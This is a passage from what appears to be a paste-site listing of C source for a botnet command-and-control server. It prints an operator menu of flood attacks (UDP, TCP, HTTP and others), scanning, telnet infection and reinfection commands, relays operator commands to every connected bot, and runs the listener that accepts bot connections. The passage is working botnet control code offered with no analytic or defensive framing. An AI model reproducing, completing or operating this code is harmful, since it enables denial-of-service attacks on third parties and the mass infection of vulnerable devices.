  697. char helpline3 [80];
  698. char helpline4 [80];
  699. char helpline5 [80];
  700. char helpline6 [80];
  701. char helpline7 [80];
  702. char helpline8 [80];
  703. char helpline9 [80];
  704. char helpline10 [80];
  705. char helpline11 [80];
  706. char helpline12 [80];
  707. char helpline13 [80];
  708. char helpline14 [80];
  709. char helpline15 [80];
  710. char helpline16 [80];
  711. char helpline17 [80];
  712. char helpline18 [80];
  713. char helpline19 [80];
  714. char helpline20 [80];
  715. char helpline21 [80];
  716. char helpline22 [80];
  717. char helpline23 [80];
  718. char helpline24 [80];
  719. char helpline25 [80];
  720. char helpline26 [80];
  721.  
  722.  
  723.  
  724. sprintf(helpline1, "\r\n[+] ATTACK COMMANDS [+]\r\n");
  725. sprintf(helpline2, "[-] UDP - !* UDP IP Port Time 32 0 10\r\n");
  726. sprintf(helpline3, "[-] TCP - !* TCP IP Port Time 32 all 0 10\r\n");
  727. sprintf(helpline4, "[-] STD - !* STD IP Port Time\r\n");
  728. sprintf(helpline5, "[-] JUNK - !* JUNK IP Port Time\r\n");
  729. sprintf(helpline6, "[-] HOLD - !* HOLD IP Port Time\r\n");
  730. sprintf(helpline7, "[-] HTTP - !* HTTP Url Time\r\n");
  731. sprintf(helpline8, "[-] KILL - !* KILLATTK | KILL\r\n");
  732.  
  733. sprintf(helpline9, "[+] SCANNING COMMANDS [+]\r\n");
  734. sprintf(helpline10, "[-] LOAD - LOAD\r\n");
  735. sprintf(helpline11, "[-] SCAN - SCAN1 | SCAN2 | SCAN3 | SCAN4 | SCAN5\r\n");
  736. sprintf(helpline12, "[-] SCAN - SCAN6 | SCAN7 | SCAN8 | SCAN9 | SCAN10\r\n");
  737. sprintf(helpline13, "[-] LUCKY - LUCKY | LUCKY2\r\n");
  738. sprintf(helpline14, "[-] STOP - SCAN_OFF\r\n");
  739.  
  740. sprintf(helpline15, "[+] GENERAL COMMANDS [+]\r\n");
  741. sprintf(helpline16, "[-] SHELL - !* SH\r\n");
  742. sprintf(helpline17, "[-] BOTS - !* BOTS | BOTS\r\n");
  743. sprintf(helpline18, "[-] STATUS - !* STATUS | STATUS\r\n");
  744. sprintf(helpline19, "[-] STATS - STATS\r\n");
  745.  
  746. sprintf(helpline20, "[+] MISC COMMANDS [+]\r\n");
  747. sprintf(helpline21, "[-] ATTACK_GUI - ATTACK\r\n");
  748. sprintf(helpline22, "[-] INECTION FILTER - FILTER\r\n");
  749. sprintf(helpline23, "[-] TELNET INFECT - INFECT\r\n");
  750. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  751. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  752. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  753.  
  754.  
  755.  
  756. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  757. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  758. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  767. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  768. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  769. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  770. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  771. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  772. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  773. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  774. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  782. pthread_create(&title, NULL, &TitleWriter, sock);
  783. continue;
  784. }
  785. if(strstr(buf, "KILL"))
  786. {
  787. char killattack [2048];
  788. memset(killattack, 0, 2048);
  789. char killattack_msg [2048];
  790.  
  791. sprintf(killattack, "!* KILLATTK\r\n");
  792. broadcast(killattack, datafd, "!* KILLATTK");
  793.  
  794. sprintf(killattack_msg, "Attack Killed!\r\n");
  795. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  796. continue;
  797. }
  798. if(strstr(buf, "CLEAR"))
  799. {
  800. char clearscreen [2048];
  801. memset(clearscreen, 0, 2048);
  802. sprintf(clearscreen, "\033[2J\033[1;1H");
  803. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  804. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  805. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  806. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  808. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  809. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  810. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  811. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  812. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  813. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  814. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  815. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  816. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  817. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  818. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  819. while(1) {
  820. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  821. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  822. break;
  823. }
  824. continue;
  825. }
  826. if(strstr(buf, "LOGOUT"))
  827. {
  828. char logoutmessage [2048];
  829. memset(logoutmessage, 0, 2048);
  830. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  831. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  832. sleep(5);
  833. goto end;
  834. }
  835. trim(buf);
  836. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  837. if(strlen(buf) == 0) continue;
  838. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  839.  
  840. FILE *LogFile;
  841. LogFile = fopen("server_log.txt", "a");
  842. time_t now;
  843. struct tm *gmt;
  844. char formatted_gmt [50];
  845. char lcltime[50];
  846. now = time(NULL);
  847. gmt = gmtime(&now);
  848. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  849. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  850. fclose(LogFile);
  851. broadcast(buf, datafd, accounts[find_line].username);
  852. memset(buf, 0, 2048);
  853. }
  854. end:
  855. managements[datafd].connected = 0;
  856. close(datafd);
  857. OperatorsConnected--;
  858. }
  859. void *BotListener(int port) {
  860. int sockfd, newsockfd;
  861. socklen_t clilen;
  862. struct sockaddr_in serv_addr, cli_addr;
  863. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  864. if (sockfd < 0) perror("ERROR opening socket");
  865. bzero((char *) &serv_addr, sizeof(serv_addr));
  866. serv_addr.sin_family = AF_INET;
  867. serv_addr.sin_addr.s_addr = INADDR_ANY;
  868. serv_addr.sin_port = htons(port);
  869. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  870. listen(sockfd,5);
  871. clilen = sizeof(cli_addr);
  872. while(1) {
  873. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  874. if (newsockfd < 0) perror("ERROR on accept");
  875. pthread_t thread;
  876. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  877. }}
  878. int main (int argc, char *argv[], void *sock)//~B1NARY~
  879. {
  880. signal(SIGPIPE, SIG_IGN);
  881. int s, threads, port;
  882. struct epoll_event event;
  883. if (argc != 4) {
  884. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  885. exit (EXIT_FAILURE);
  886. }
  887. port = atoi(argv[3]);
  888. telFD = fopen("telnet.txt", "a+");
  889. threads = atoi(argv[2]);
  890. listenFD = create_and_bind (argv[1]);
  891. if (listenFD == -1) abort ();
  892. s = make_socket_non_blocking (listenFD);
  893. if (s == -1) abort ();
  894. s = listen (listenFD, SOMAXCONN);
  895. if (s == -1) {
  896. perror ("listen");
  897. abort ();
  898. }
  899. epollFD = epoll_create1 (0);
  900. if (epollFD == -1) {
  901. perror ("epoll_create");
  902. abort ();
  903. }
  904. event.data.fd = listenFD;
  905. event.events = EPOLLIN | EPOLLET;
  906. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  907. if (s == -1) {
  908. perror ("epoll_ctl");
  909. abort ();
  910. }
  911. pthread_t thread[threads + 2];
  912. while(threads--) {
  913. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  914. }
  915. pthread_create(&thread[0], NULL, &BotListener, port);
  916. while(1) {
  917. broadcast("PING", -1, "LEL");
  918. sleep(60);
  919. }
  920. close (listenFD);
  921. return EXIT_SUCCESS;
  922. }
Add Comment
Please, Sign In to add comment